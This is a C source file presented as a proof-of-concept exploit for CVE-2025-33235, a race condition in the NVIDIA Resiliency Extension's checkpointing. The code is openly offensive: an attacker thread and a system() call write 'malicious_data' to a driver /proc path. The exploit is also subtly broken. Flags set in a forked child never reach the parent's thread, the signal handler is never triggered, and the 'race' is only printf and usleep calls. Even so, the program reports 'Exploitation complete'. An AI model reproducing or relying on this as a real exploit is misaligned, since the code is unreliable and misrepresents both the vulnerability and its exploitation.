CVE-2025-33235

/* * CVE-2025-33235 PoC - NVIDIA Resiliency Extension Race Condition * This PoC demonstrates the TOCTOU race condition in checkpointing core * Author: Security Research Team * Note: This is for educational and authorized testing purposes only */ #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <signal.h> #include <sys/types.h> #include <string.h> #define MAX_ITERATIONS 10000 volatile int checkpoint_in_progress = 0; volatile int race_window_opened = 0; void* attacker_thread(void* arg) { /* Attacker thread attempts to exploit race condition */ for (int i = 0; i < MAX_ITERATIONS; i++) { while (!checkpoint_in_progress) { /* Wait for checkpoint to start */ sched_yield(); } /* Small delay to hit the race window */ usleep(1); /* Attempt to modify checkpoint data during TOCTOU window */ if (race_window_opened) { printf("[+] Race condition triggered at iteration %d\n", i); /* Perform malicious modification here */ system("echo 'malicious_data' > /proc/driver/nvidia/resilience/checkpoint"); break; } checkpoint_in_progress = 0; } return NULL; } void signal_handler(int sig) { /* Interrupt checkpoint to create race window */ race_window_opened = 1; } int main() { pthread_t attack_thread; pid_t pid; printf("[*] CVE-2025-33235 PoC - NVIDIA Resiliency Extension Race Condition\n"); printf("[*] Target: NVIDIA Resiliency Extension for Linux\n"); printf("[*] Vulnerability: TOCTOU in checkpointing core\n"); /* Create attacker thread */ pthread_create(&attack_thread, NULL, attacker_thread, NULL); /* Fork child process to initiate checkpoint */ pid = fork(); if (pid == 0) { /* Child process - simulate checkpoint operation */ for (int i = 0; i < MAX_ITERATIONS; i++) { checkpoint_in_progress = 1; /* Setup signal to interrupt at critical moment */ signal(SIGUSR1, signal_handler); /* Simulate checkpoint operation - VULNERABLE SECTION */ /* Time-of-Check */ printf("[*] Checking checkpoint integrity...\n"); /* Race window - between check and use */ usleep(10); /* Time-of-Use - vulnerable operation */ printf("[*] Using checkpoint data...\n"); checkpoint_in_progress = 0; } exit(0); } pthread_join(attack_thread, NULL); printf("[+] Exploitation complete\n"); return 0; }

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